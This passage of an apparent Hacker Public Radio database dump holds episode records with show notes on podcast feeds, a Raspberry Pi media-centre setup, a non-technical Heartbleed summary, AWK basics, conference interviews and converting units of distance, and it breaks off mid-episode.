href=\"https://www.quickanddirtytips.com/xml/domestic.xml\">https://www.quickanddirtytips.com/xml/domestic.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>FLOSS Weekly\r\n <ul>\r\n <li>Website: <a href=\"https://twit.tv/floss\">https://twit.tv/floss</a>\r\n </li>\r\n <li>Feed: <a href=\"https://twit.tv/show/floss-weekly/feed\">https://twit.tv/show/floss-weekly/feed</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>From Python Import Podcast\r\n <ul>\r\n <li>Website: <a href=\"https://frompythonimportpodcast.com/\">https://frompythonimportpodcast.com/</a>\r\n </li>\r\n <li>Feed: (Ogg): <a href=\"https://feeds.feedburner.com/FromPythonImportPodcastogg\">https://feeds.feedburner.com/FromPythonImportPodcastogg</a>\r\n </li>\r\n <li>Feed: (MP3): <a href=\"https://feeds.feedburner.com/FromPythonImportPodcastmp3\">https://feeds.feedburner.com/FromPythonImportPodcastmp3</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Geologic Podcast\r\n <ul>\r\n <li>Website: <a href=\"https://geologicpodcast.com/\">https://geologicpodcast.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://geologicpodcast.com/rss\">https://geologicpodcast.com/rss</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Get-It-Done Guy\r\n <ul>\r\n <li>Website: <a href=\"https://www.quickanddirtytips.com/get-it-done-guy\">https://www.quickanddirtytips.com/get-it-done-guy</a>\r\n </li>\r\n <li>Feed: <a href=\"https://www.quickanddirtytips.com/xml/getitdone.xml\">https://www.quickanddirtytips.com/xml/getitdone.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Girl on Guy\r\n <ul>\r\n <li>Website: <a href=\"https://girlonguy.net/\">https://girlonguy.net/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://girlonguy.libsyn.com/rss\">https://girlonguy.libsyn.com/rss</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Going Linux\r\n <ul>\r\n <li>Website: <a href=\"https://goinglinux.com/\">https://goinglinux.com/</a>\r\n </li>\r\n <li>Feed: (Ogg): <a href=\"https://goinglinux.com/oggpodcast.xml\">https://goinglinux.com/oggpodcast.xml</a>\r\n </li>\r\n <li>Feed: (MP3): <a href=\"https://goinglinux.com/mp3podcast.xml\">https://goinglinux.com/mp3podcast.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Grammar Girl\r\n <ul>\r\n <li>Website: <a href=\"https://www.quickanddirtytips.com/grammar-girl\">https://www.quickanddirtytips.com/grammar-girl</a>\r\n </li>\r\n <li>Feed: <a href=\"https://www.qdnow.com/grammar.xml\">https://www.qdnow.com/grammar.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Hacker Public Radio\r\n <ul>\r\n <li>CONTRIBUTE: <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n </li>\r\n <li>ASK ME FOR HELP: <a href=\"https://twitter.com/kdmurray\">https://twitter.com/kdmurray</a>\r\n </li>\r\n <li>Website: <a href=\"https://hackerpublicradio.org/\">https://hackerpublicradio.org/</a>\r\n </li>\r\n <li>Feed: (Ogg): <a href=\"https://hackerpublicradio.org/hpr_ogg_rss.php\">https://hackerpublicradio.org/hpr_ogg_rss.php</a>\r\n </li>\r\n <li>Feed: (MP3): <a href=\"https://hackerpublicradio.org/hpr_rss.php\">https://hackerpublicradio.org/hpr_rss.php</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Hanselminutes\r\n <ul>\r\n <li>Website: <a href=\"https://hanselminutes.com/\">https://hanselminutes.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.feedburner.com/HanselminutesCompleteMP3\">https://feeds.feedburner.com/HanselminutesCompleteMP3</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>A History Of Alexander / Hannibal\r\n <ul>\r\n <li>Website: <a href=\"https://thehistoryofpodcast.blogspot.com/\">https://thehistoryofpodcast.blogspot.com/</a>\r\n </li>\r\n <li>Feed: (Alexander): <a href=\"https://ia601204.us.archive.org/27/items/AlexanderFeed/AlexanderHistoryRemastered.XML\">https://ia601204.us.archive.org/27/items/AlexanderFeed/AlexanderHistoryRemastered.XML</a>\r\n </li>\r\n <li>Feed: (Hanibal): <a href=\"https://ia700801.us.archive.org/8/items/HannibalFeed/HistoryHannibalandthePunicWars.XML\">https://ia700801.us.archive.org/8/items/HannibalFeed/HistoryHannibalandthePunicWars.XML</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>The History of Rome\r\n <ul>\r\n <li>Website: <a href=\"https://thehistoryofrome.typepad.com/\">https://thehistoryofrome.typepad.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.feedburner.com/thehistoryofrome\">https://feeds.feedburner.com/thehistoryofrome</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>IRL Talk\r\n <ul>\r\n <li>Website: <a href=\"https://www.irltalk.com/\">https://www.irltalk.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feedpress.me/irltalk\">https://feedpress.me/irltalk</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Knightcast\r\n <ul>\r\n <li>Website: <a href=\"https://knightwise.com/\">https://knightwise.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.feedburner.com/knightwisecom\">https://feeds.feedburner.com/knightwisecom</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Mac OS Ken\r\n <ul>\r\n <li>Website: <a href=\"https://macosken.com/\">https://macosken.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://macosken.libsyn.com/rss\">https://macosken.libsyn.com/rss</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Mac Power Users\r\n <ul>\r\n <li>Website: <a href=\"https://www.macpowerusers.com/\">https://www.macpowerusers.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.5by5.tv/mpu\">https://feeds.5by5.tv/mpu</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>The Memory Palace\r\n <ul>\r\n <li>Website: <a href=\"https://thememorypalace.us/\">https://thememorypalace.us/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.feedburner.com/thememorypalace\">https://feeds.feedburner.com/thememorypalace</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Mission Log\r\n <ul>\r\n <li>Website: <a href=\"https://missionlogpodcast.com/\">https://missionlogpodcast.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://missionlog.libsyn.com/rss\">https://missionlog.libsyn.com/rss</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>The Nosillacast\r\n <ul>\r\n <li>Website: <a href=\"https://www.podfeet.com/blog/\">https://www.podfeet.com/blog/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://podfeet.com/NosillaCast/rss.xml\">https://podfeet.com/NosillaCast/rss.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Radiolab\r\n <ul>\r\n <li>Website: <a href=\"https://www.radiolab.org/\">https://www.radiolab.org/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://www.radiolab.org/feeds/podcast/\">https://www.radiolab.org/feeds/podcast/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>RunAs Radio\r\n <ul>\r\n <li>Website: <a href=\"https://runasradio.com/\">https://runasradio.com/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.feedburner.com/RunasRadio\">https://feeds.feedburner.com/RunasRadio</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Security Now\r\n <ul>\r\n <li>Website: <a href=\"https://twit.tv/show/security-now\">https://twit.tv/show/security-now</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.twit.tv/sn.xml\">https://feeds.twit.tv/sn.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Spark\r\n <ul>\r\n <li>Website: <a href=\"https://www.cbc.ca/spark/\">https://www.cbc.ca/spark/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://www.cbc.ca/podcasting/includes/spark.xml\">https://www.cbc.ca/podcasting/includes/spark.xml</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>StarTalk Radio\r\n <ul>\r\n <li>Website: <a href=\"https://www.startalkradio.net/\">https://www.startalkradio.net/</a>\r\n </li>\r\n <li>Feed: <a href=\"https://feeds.soundcloud.com/users/soundcloud:users:38128127/sounds.rss\">https://feeds.soundcloud.com/users/soundcloud:users:38128127/sounds.rss</a>\r\n </li>\r\n </ul>\r\n</li>\r\n</ul>',266,75,0,'CC-BY-SA','podcast,feed',0,1433,1),
(1489,'2014-04-17','Setting up a Raspberry Pi and RaspBMC',3076,'Putting together a Raspberry Pi, installing the OS and setting up RaspBMC','<p>\r\nIn this episode CPrompt and his friend Matt go through their entire process of putting together a Raspberry Pi, \r\ninstalling the OS and setting up RaspBMC.\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n\r\n<ul>\r\n<li>Pi Case : \r\n <ul>\r\n <li><a href=\"https://www.amazon.com/Pibow-Ninja-Case-Raspberry-Pi/dp/B00DUUBSVM/ref=sr_1_111?ie=UTF8&amp;qid=1396811125&amp;sr=8-111&amp;keywords=raspberry+pi\">https://www.amazon.com/Pibow-Ninja-Case-Raspberry-Pi/dp/B00DUUBSVM/ref=sr_1_111?ie=UTF8&amp;qid=1396811125&amp;sr=8-111&amp;keywords=raspberry+pi</a>\r\n </li>\r\n <li><a href=\"https://szyishun.en.alibaba.com/product/914059508-218350250/RASPBERRY_PI_TRANSPARENT_ACRYLIC_CASE_ENCLOSURE_COMPUTER_BOX.html\">https://szyishun.en.alibaba.com/product/914059508-218350250/RASPBERRY_PI_TRANSPARENT_ACRYLIC_CASE_ENCLOSURE_COMPUTER_BOX.html</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Heat Sinks : \r\n <ul>\r\n <li><a href=\"https://www.amazon.com/Kootek-Aluminum-Heatsink-set-Raspberry/dp/B00C8NNZ36/ref=sr_1_23?ie=UTF8&amp;qid=1396810802&amp;sr=8-23&amp;keywords=raspberry+pi\">https://www.amazon.com/Kootek-Aluminum-Heatsink-set-Raspberry/dp/B00C8NNZ36/ref=sr_1_23?ie=UTF8&amp;qid=1396810802&amp;sr=8-23&amp;keywords=raspberry+pi</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Raspbmc : \r\n <ul>\r\n <li><a href=\"https://www.raspbmc.com/\">https://www.raspbmc.com/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>RaspBMC Nightly Builds: \r\n <ul>\r\n <li><a href=\"https://forum.xbmc.org/showthread.php?tid=176043&amp;pid=1667837#pid1667837\">https://forum.xbmc.org/showthread.php?tid=176043&amp;pid=1667837#pid1667837</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>MPEG2 and VC1 License : \r\n <ul>\r\n <li><a href=\"https://www.raspberrypi.com/mpeg-2-license-key/\">https://www.raspberrypi.com/mpeg-2-license-key/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>LibDVDCSS: \r\n <ul>\r\n <li><a href=\"https://forum.xbmc.org/showthread.php?tid=176043\">https://forum.xbmc.org/showthread.php?tid=176043</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>iPazzport Keyboard : \r\n <ul>\r\n <li><a href=\"https://www.amazon.com/Wireless-iPazzPort-Handheld-Keyboard-Touchpad/dp/B0093ITXOE/ref=sr_1_2?ie=UTF8&amp;qid=1396810908&amp;sr=8-2&amp;keywords=ipazz+keyboard\">https://www.amazon.com/Wireless-iPazzPort-Handheld-Keyboard-Touchpad/dp/B0093ITXOE/ref=sr_1_2?ie=UTF8&amp;qid=1396810908&amp;sr=8-2&amp;keywords=ipazz+keyboard</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Bluetooth Keyboard : \r\n <ul>\r\n <li><a href=\"https://convictradio.com/2013/05/setting-up-bluetooth-on-the-raspberry-pi-running-raspbmc/\">https://convictradio.com/2013/05/setting-up-bluetooth-on-the-raspberry-pi-running-raspbmc/</a>\r\n </li>\r\n </ul>\r\n</li>\r\n</ul>',252,0,0,'CC-BY-SA','Raspberry Pi,RPI,RaspBMC',0,1496,1),
(1491,'2014-04-21','Heartbleed',1297,'A summary of the \"Heartbleed\" OpenSSL vulnerability','<p>\r\nThe \"Heartbleed\" vulnerability in OpenSSL (CVE-2014-0160) is a bounds checking\r\nerror in the heartbeat implementation that could return up to 64K of private\r\ndata to the client. This can lead to server certificate private keys, session\r\ncookies, clear text passwords, or other sensitive data being leaked from the\r\nserver to the client. This vulnerability exists in OpenSSL versions 1.0.1 through 1.0.1f and 1.0.2 beta.\r\n</p>\r\n<p>\r\nIt is important for server administrators to update OpenSSL as soon as possible\r\nand take steps to secure any private data which may have been leaked. This may\r\ninclude updating server certificates and revoking certificates that may have\r\nbeen compromised.\r\n</p>\r\n<p>\r\nUsers should ensure that web sites they use have been secured and should update\r\npasswords or other authentication information.\r\n</p>\r\n<p>\r\nCVE info: <a href=\"https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160\">https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160</a>\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://xkcd.com/1354/\"><img src=\"https://imgs.xkcd.com/comics/heartbleed_explanation.png\" title=\"Are you still there, server? It\'s me, Margaret.\" alt=\"Heartbleed Explanation\" /></a>\r\n</p>\r\n\r\n',257,74,0,'CC-BY-SA','heartbleed,openssl,vulnerability,security',0,1559,1),
(1501,'2014-05-05','AWK',1165,'A cursory introduction to the AWK programming language','<p>\r\nFirst of all, a correction. In the podcast, I mistakenly refer to one of the\r\ncoauthors of the language as Kevin Weinberger. My humblest apologies to Mr.\r\nWeinberger, whose actual first name is Peter. I also neglected to mention one\r\nof AWK\'s most interesting features: its automatic field splitting. I hope to\r\nsubmit a followup podcast soon in order to rectify these two glaring mistakes.\r\n</p>\r\n<p>\r\nAWK is a loosely typed interpreted programming language. Many useful functions\r\nin a UNIX programming environment, such as reading files, looping over input,\r\nmatching regular expressions, and splitting strings into fields have been\r\nabstracted and are presented to the programmer as native parts of the language.\r\nThis makes AWK ideal for text processing.\r\n</p>\r\n<p>\r\nThe basic structure of an AWK program is a list of rules. Each rule is made up\r\nof an optional pattern and an optional action. If the pattern is matched, the\r\ncorresponding action is run. When AWK starts up, it loads the supplied program\r\ntext, runs any rules with the special BEGIN pattern, then in turn, opens each\r\nfile supplied on the command line (or stdin if no files or a - are specified).\r\nEach file is split into records based on the value in the RS (record separator)\r\nvariable. AWK then loops through each record, splits it into fields based on\r\nthe value in the FS (field separator) variable, and loops through each rule in\r\nthe program. An empty pattern matches all records, so actions with no pattern\r\nrun for every record. An empty action causes the current record to be printed.\r\n</p>\r\n<p>\r\nThe operator most unique to AWK is the $ (field access) operator. When followed\r\nby an integer literal or variable holding an integer value, it returns the\r\ncorresponding field in the current record (counting from 1 up to NF, the number\r\nof fields special variable). $0 returns the entire record. If the supplied\r\ninteger is greater than NF, it is treated as an uninitialized variable, which,\r\nin AWK, is treated dually as either the empty string, or the number 0,\r\ndepending on the context in which it is referenced.\r\n</p>\r\n<p>\r\nThe most common type of pattern used in AWK (excepting, perhaps, the empty\r\npattern) is a regular expression literal. It consists of a regular expression\r\nenclosed in forward slashes. This syntax is inherited from ed, the standard\r\ntext editor, and has been passed down all the way to javascript. In AWK, a\r\nregular expression literal, alone as a pattern, is shorthand for $0 ~ /regex/,\r\nwhere ~ is the regular expression match operator (the string $0, current\r\nrecord, matches the supplied regular expression).\r\n</p>\r\n\r\n<ul>\r\n<li>POSIX AWK: <a href=\"https://pubs.opengroup.org/onlinepubs/009696699/utilities/awk.html\">https://pubs.opengroup.org/onlinepubs/009696699/utilities/awk.html</a>\r\n</li>\r\n<li>The AWK Programming Language: <a href=\"https://books.cat-v.org/computer-science/awk-programming-language/The_AWK_Programming_Language.pdf\">https://books.cat-v.org/computer-science/awk-programming-language/The_AWK_Programming_Language.pdf</a>\r\n</li>\r\n</ul>',257,25,0,'CC-BY-SA','AWK,text processing,rule,pattern,action,regular expression',0,1513,1),
(1490,'2014-04-18','HPR at NELF 2014 Part1',1443,'Conference interviews','<p>In this episode, nybill and pokey conduct interviews and generally have a good time at the 2014 Northeast GNU/Linux Fest.</p>\n<p>Some links to follow for things that were discussed in this episode:</p>\n<ul>\n<li>The vacation land that is the state of Maine <a href=\"https://www.maine.gov/\">www.maine.gov/</a></li>\n<li>Arch Linux <a href=\"https://www.archlinux.org/\">https://www.archlinux.org/</a></li>\n<li>Raspberry Pi <a href=\"https://www.raspberrypi.org/\">www.raspberrypi.org/</a></li>\n<li>SSSD <a href=\"https://fedorahosted.org/sssd/\">https://fedorahosted.org/sssd/</a> by Redhat Linux <a href=\"https://www.redhat.com/\">www.redhat.com/</a></li>\n<li>Dataverse academic data hosting software suite <a href=\"https://thedata.org/\">https://thedata.org/</a></li>\n<li><a href=\"https://www.freenode.net\">www.freenode.net</a></li>\n<li>docker &amp; vagrant VM managers <a href=\"https://www.docker.io/\">https://www.docker.io/</a> <a href=\"https://www.vagrantup.com/\">www.vagrantup.com/</a></li>\n<li>Crunchbang Linux crunchbang.org/</li>\n<li>spacemandev.com</li>\n</ul>\n<p>We all had a great time recording this show, and we hope you enjoyed it as well. Please join us at the next Northeast Gnu/Linux Fest if you can. Thank you very much for listening.</p>\n<p>Photos from <a href=\"https://hackerpublicradio.org/eps/nelf-2014/\">NELF 2014</a></p>\n<p>Sincerely, The HPR conference crew</p>\n<p>P.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.</p>\n',128,0,1,'CC-BY-SA','interviews',0,1473,1),
(1492,'2014-04-22','HPR at NELF 2014 Part2',2115,'Conference Interviews','<p>\r\nIn this episode, nybill and pokey continue conducting interviews and having a good time at the 2014 Northeast GNU/Linux Fest.\r\n</p>\r\n<p>\r\nSome links to follow for things that were discussed in this episode:\r\n</p>\r\n\r\n<ul>\r\n<li>The Techie Geek Podcast thetechiegeek.com/\r\n</li>\r\n<li>Linux For The Rest Of Us Podcast podnutz.com/linuxfortherestofus\r\n</li>\r\n<li>Contributing to HPR <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</li>\r\n<li>Northeast GNU/Linux Fest looking for a permanant home northeastlinuxfest.org/\r\n</li>\r\n<li>Redhat Linux <a href=\"https://www.redhat.com/\">www.redhat.com/</a>\r\n</li>\r\n<li>All of the talks at the fest were recorded, and NELF has an rss feed on which they are published <a href=\"https://northeastlinuxfest.org/?feed=rss2\">https://northeastlinuxfest.org/?feed=rss2</a>\r\n</li>\r\n<li>Redhat DevNation conference <a href=\"https://www.devnation.org/\">www.devnation.org/</a>\r\n</li>\r\n<li>Security Weekly internet media network securityweekly.com/ <a href=\"https://securityweekly.com/portfolio/security-weekly\">https://securityweekly.com/portfolio/security-weekly</a>\r\n</li>\r\n<li>Hack Naked TV <a href=\"https://securityweekly.com/portfolio/hack-naked-tv\">https://securityweekly.com/portfolio/hack-naked-tv</a>\r\n</li>\r\n<li>Stogie Geeks <a href=\"https://securityweekly.com/portfolio/stogie-geeks\">https://securityweekly.com/portfolio/stogie-geeks</a>\r\n</li>\r\n<li>Nessus Vulnerability Scanner <a href=\"https://www.tenable.com/products/nessus\">www.tenable.com/products/nessus</a>\r\n</li>\r\n<li>Code 2600 movie <a href=\"https://www.code2600.com/\">www.code2600.com/</a>\r\n</li>\r\n<li>SOURCE Conference: Boston 2014 <a href=\"https://www.sourceconference.com/\">www.sourceconference.com/</a>\r\n</li>\r\n<li>DEF CON Hacking Conference <a href=\"https://www.defcon.org/\">https://www.defcon.org/</a>\r\n</li>\r\n<li>Linux Professional Institute (LPI) Exam <a href=\"https://www.lpi.org/\">www.lpi.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Please join us at the next Northeast Gnu/Linux Fest if you can. Thank you very much for listening.\r\n</p>\r\n\r\n\r\n<p>\r\nPhotos from <a href=\"https://hackerpublicradio.org/eps/nelf-2014/\">NELF 2014</a>\r\n</p>\r\n\r\n\r\n\r\n<p>\r\nSincerely,\r\nThe HPR conference crew\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',235,0,1,'CC-BY-SA','interviews',0,1344,1),
(1493,'2014-04-23','The Next Gen is You (1/2)',2105,'Klaatu talks about Steam on Linux and building a system to run it - part 1','<p>Steam OS or Steam on Linux, anti-micro for game controller optimisation.\r\n</p>\r\n',78,0,0,'CC-BY-SA','steam, games, hardware',0,1508,1),
(1494,'2014-04-24','The Next Gen is You (2/2)',1516,'Klaatu talks about Steam on Linux and building a system to run it - part 2','<p>\r\nSteam OS or Steam on Linux, anti-micro for game controller optimisation.\r\n<br />\r\nPart 2 of 2<br />\r\n<a href=\"https://straightedgelinux.com/blog/opinions/box.html\">https://straightedgelinux.com/blog/opinions/box.html</a>\r\n</p>\r\n',78,0,0,'CC-BY-SA','steam,game,hardware',0,1443,1),
(1496,'2014-04-28','wiki on the raspberry pi',1128,'My experience of playing with wiki software on the raspberry pi','<p>\r\nMy experience of playing with wiki software on the raspberry pi, I forgot to mention I run the standard Raspbian distribution on my pi\r\nif you run something else your mileage may vary.\r\n</p>\r\n<p>\r\nWhen I listened to the show I noticed a few mistakes, there may be others as the show was pulled together rather hastily\r\n</p>\r\n<p>\r\n1. The raspberry pi has either 256 or 512 MB of memory Not KB\'s oops\r\n</p>\r\n<p>\r\n2. You can automatically create pages using camel-case words they don\'t need to start with the word wiki so in my example the page WikiNotes\r\ncould just as easily be called GuffNotes. This is because at first I didnt appreciate the meaning of the word camelcase, you learn something \r\nnew every day!\r\n</p>\r\n<p>\r\n3. Wikidot still provides a free account, oops again!\r\n</p>\r\n<p>\r\nwikidot\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.wikidot.com/\">https://www.wikidot.com/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\ndokuwiki\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.dokuwiki.org/dokuwiki\">https://www.dokuwiki.org/dokuwiki</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\ndidiwiki\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://c2.com/cgi/wiki?DidiWiki\">https://c2.com/cgi/wiki?DidiWiki</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nsed man page\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://unixhelp.ed.ac.uk/CGI/man-cgi?sed\">https://unixhelp.ed.ac.uk/CGI/man-cgi?sed</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nsome sed tutorial and examples\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.grymoire.com/unix/sed.html\">https://www.grymoire.com/unix/sed.html</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',201,0,0,'CC-BY-SA','Raspberry Pi,Wikidot,DokuWiki,Apache,DidiWiki,sed',0,1459,1),
(1497,'2014-04-29','Practical Math - Units - Distances and Area, Part 1',2288,'Charles in NJ continues his Practical Math series with an episode on units of distance','<pre>\r\nHPR Episode: Using and Converting Between Units of Distance\r\n\r\nIntro: Last time, we talked in general terms about units, numbers and\r\nhow they might be useful in practice.  In this episode, we address some\r\nspecific measurement units that apply to distance and area, and how we\r\nmight convert from one system to another to better understand both.\r\n\r\nEntire point of this episode is this: Carry units in calculations on \r\n  distances and areas, and you\'ll have more success in using them in \r\n  your life.  \r\n\r\n\r\n\r\nSegment 1:  Distance and Area in the English system\r\n\r\n1. Series will focus on English and Metric systems.\r\n   a. Basic units of distance: inch, foot, yard, mile\r\n   b. Basic units of area: square inch, square foot, acre, square mile\r\n\r\n\r\n2. Other units of distance and area do exist\r\n   a. Barleycorn for shoe sizes (1/3\")\r\n   b. Hand for describing horses (4\")\r\n   c. Rod for surveying (16-1/2 feet)\r\n   d. Chain, also for surveying (4 linear rods, 66 feet, 22 yards)\r\n   e. Furlong from horse racing and agriculture (220 yards, 10 chains)\r\n   f. League (about an hour\'s walk) usually assumed to be 3 miles\r\n      - Nautical: technical unit that\'s exactly 3 knots\r\n   g. Square yard may be used in quotes for carpet installations\r\n\r\nTable of Units: https://www.csgnetwork.com/converttable.html\r\n\r\n\r\nBrilliant Insight #1: Units of distance were originally arbitrary.  We \r\n  did not standardize on inches, feet, miles, and so on because these \r\n  are magical units with special merits.  They were convenient at the \r\n  time and place where they were invented. \r\n  \r\n  Standards let us talk to each other about distance without having to \r\n  be in the same place at the same time.  We\'d have trouble if builders\r\n  builders had to ask for boards \"as long as my arm\", or a plank \r\n  that\'s \"Yea long\". \r\n\r\n\r\n3. Bizarre properties of some English units explained:\r\n\r\n   a. Rod/Chain: Used in measuring farmland and building plots\r\n      - Rod is 5-1/2 yards, or 16-1/2 feet.\r\n      - Chain is 4 linear rods, or the length of a surveyor\'s chain\r\n      - Could have been longer or shorter.  Standard emerged from usage.\r\n      \r\n   b. Furlong: Longest row you can plow without resting the animals\r\n      - Defined as 10 chains (220 yards)\r\n      \r\n   c. Acre: If you are on a quiz show, it\'s 43,560 square feet.  Huh?\r\n      - Defined as the area of a plot that\'s 1 chain wide by a furlong \r\n      - Putting definitions together, we peek ahead to make sense of it.\r\n      \r\n        1 acre = 1 chain x 1 furlong x 10 chains   <--- multiply by 1\r\n                                       ----------       (1 furlong is \r\n		                       1 furlong         10 chains)\r\n      \r\n        Cancelling out furlongs upstairs and downstairs, we get\r\n	\r\n            1 acre = 1 chain x 10 chains = 10 \"square chains\"\r\n      \r\n      - So the square feet in an acre is not (completely) arbitrary\r\n      - It\'s just mostly arbitrary, but consistent with shorter units.\r\n\r\n   d. Mile: Why is it 5,280 feet?  Similar story [Simplified version!]\r\n      - Roman occupation brought in a 5,000 foot mile (\"mille passus\")\r\n        Warning!  The Roman mile was defined in Roman feet, so it was\r\n           a bit shorter than I\'ve painted it.  \r\n      \r\n      - Originated as 1,000 double-steps or \"paces\"\r\n      - Since 1,000 was \"mille\", unit naturally became \"mile\" in English\r\n      \r\n      - Elizabeth I (1603, or was it 1593?): \r\n        * Statute mile set to 8 furlongs (1,760 yds; 5,280 ft)\r\n        * Why 8 furlongs?  Why not 10 furlongs?\r\n\r\n        * Goal: Set new mile close to existing mile, but as N furlongs.\r\n	    * New \"statute mile\" only about 5% longer than Roman mile\r\n	      Note: Similar analysis could be used with other \"miles\".\r\n	      \r\n	    * Setting a mile to a even multiple of a furlong had practical \r\n	        benefits, and keeping it close to the old unit reduced \r\n	        conversion costs for \"legacy users\".\r\n	        \r\n      - That\'s why we\'ve inherited a mile that measures 5,280 feet.\r\n\r\n   To see why the story is tremendously more complicated than my account\r\n      https://en.wikipedia.com/wiki/Mile\r\n\r\n   Fun article on the mile.\r\n      https://www.sizes.com/units/mile.htm\r\n   \r\n   High school student theme on the furlong.\r\n      https://www.writework.com/essay/history-furlong by silverAlex2000\r\n\r\n   Brief dictionary article on the mile, referenced by Dr. Math \r\n      https://www.unc.edu/~rowlett/units/dictM.html#mile \r\n      Referred by https://mathforum.org/library/drmath/view/61126.html\r\n\r\n   Resource: StackExchange Physics and Maths sections (\"mile\" question)\r\n      https://physics.stackexchange.com/questions/57785/difference-between-nautical-and-terrestrial-miles\r\n\r\n\r\n4. Converting between units\r\n   a. Units of distance usually defined as multiples of each other\r\n      - 1 mile = 5,280 feet            - 1 hand = 4 inches\r\n      - 1 foot = 12 inches             - 1 yard = 36 inches\r\n      \r\n      Skipping ahead to look at the metric system, we now have:\r\n      - 1 inch = 2.54 centimeters (exact). Regularized in recent years.\r\n\r\n   b. This works because there\'s consensus on Zero distance, so we don\'t\r\n         have to adjust for differing origins, as we do with the \r\n         non-absolute temperature scales like Fahrenheit and Celsius. \r\n      \r\n      - We\'ll get to temperature, non-absolute scales in a later show.\r\n\r\n   c. For absolute scales, we can convert from one unit to another using\r\n         a \"conversion factor\".  That is, we can convert a measurement \r\n         expressed in one unit to its equivalent in another unit by \r\n         multiplying or dividing by some number to stretch or compress \r\n         the original unit to match the target unit.\r\n	 \r\n      - Example: I know that 1 foot is 12 inches, so how many inches are\r\n          there in 10 feet?  How feet are there in 660 inches?\r\n      \r\n      - It is clear that a factor of 12 ought to be involved, but how do\r\n          I know when to multiply or divide by 12 in the conversion?\r\n      \r\n      - Wait!  I\'m serious.  When you see this problem for the first \r\n          time, you have to think this through to get it right.  \r\n        * Without a system in place, you always have to think about it.\r\n      \r\n      - Answers in naive setup:\r\n          (i) 10 feet = (12 * 10) inches = 120 inches\r\n         (ii) 660 inches = (660 / 12) feet = 55 feet\r\n\r\n5. Having a system.  Or units conversion as \"multiplying by One\"\r\n   \r\n   a. In each of the solutions I wrote down above, I start with an \r\n         equation that looks like this: X inches = Y feet.\r\n\r\n   b. Inches are not feet, and this way of writing down the calculation \r\n        does NOT help you figure you how the conversions should work, or\r\n        whether you should multiply or divide to get the right answers.\r\n\r\n   c. Here\'s a system for creating conversion factors that tell you what\r\n        to do at each step in the units conversion process.  It is based\r\n        on the very obvious fact that when I multiply any number by \'1\',\r\n        its value remains unchanged.\r\n	\r\n      - Start with one of the identities we wrote down at the beginning.\r\n	    In this case, let\'s use:  12 inches = 1 foot\r\n	  \r\n      - If I divide equals by equals, the results are equal.\r\n	    So I can write:\r\n	  \r\n	                                   12 inches      1 foot\r\n	  12 inches = 1 foot implies that  ---------  =  --------- = 1\r\n					     1 foot      12 inches\r\n      \r\n      -	Get the first term by dividing my original identity by (1 foot).\r\n      - Get the second term by dividing my original identity by (12 